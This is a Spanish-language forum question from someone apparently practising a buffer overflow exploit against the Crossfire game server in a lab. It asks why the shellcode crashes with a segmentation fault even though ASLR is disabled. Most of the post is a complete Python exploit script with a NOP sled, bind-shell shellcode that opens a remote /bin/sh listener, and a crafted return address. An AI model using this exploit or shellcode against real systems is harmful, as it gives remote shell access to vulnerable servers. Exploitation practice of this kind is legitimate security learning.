Estoy practicando la explotación de desbordamiento de búfer de Linux. cuando se intenta explotar una vulnerabilidad en el fuego cruzado, todo funciona bien y se coloca el código de shell en el lugar correcto, y el flujo del programa se redirige al código de shell; sin embargo, al iniciar la ejecución del código de shell, el programa falla.
versión del sistema operativo (bt5 R3): Linux bt 3.2.6 # 1 SMP Vie 17 de febrero 10:40:05 EST 2012 i686 GNU / Linux
exploit code:
import socket, sys
host = sys.argv[1]
//0x8134e77 jump eax
//0xb7dadad6 nop sled address
shellcode= ("\xcc\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\xcd\x80"
"\x5b\x5e\x52\x68\xff\x02\x11\x5c\x6a\x10\x51\x50\x89\xe1\x6a"
"\x66\x58\xcd\x80\x89\x41\x04\xb3\x04\xb0\x66\xcd\x80\x43\xb0"
"\x66\xcd\x80\x93\x59\x6a\x3f\x58\xcd\x80\x49\x79\xf8\x68\x2f"
"\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0"
"\x0b\xcd\x80")
crash = "\x90" *199 + shellcode + "\x43" * 4090 + "\xd6\xda\xda\xb7" + "D" * 7
buffer= "\x11(setup sound " + crash + "\x90\x00#"
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
print "[*]Sending evil buffer..."
s.connect((host, 13327))
print (s.recv(1024))
s.send(buffer)
s.close()
print "[*]Payload Sent !"
Puse un punto de ruptura antes de que Shellcode y el flujo de ejecución lo golpeaen correctamente, sin embargo, después de continuar, el programa se bloquea y muestra el siguiente mensaje: "Señal recibida programa SIGSEGV, falla de segmentación. 0xb7daeb36 en ?? () "
Al inspeccionar esta dirección, ¡está llena de ceros!
Ya deshabilité ASLR antes de comenzar el ejercicio y me pregunto si existe algún otro mecanismo de protección que evite la explotación.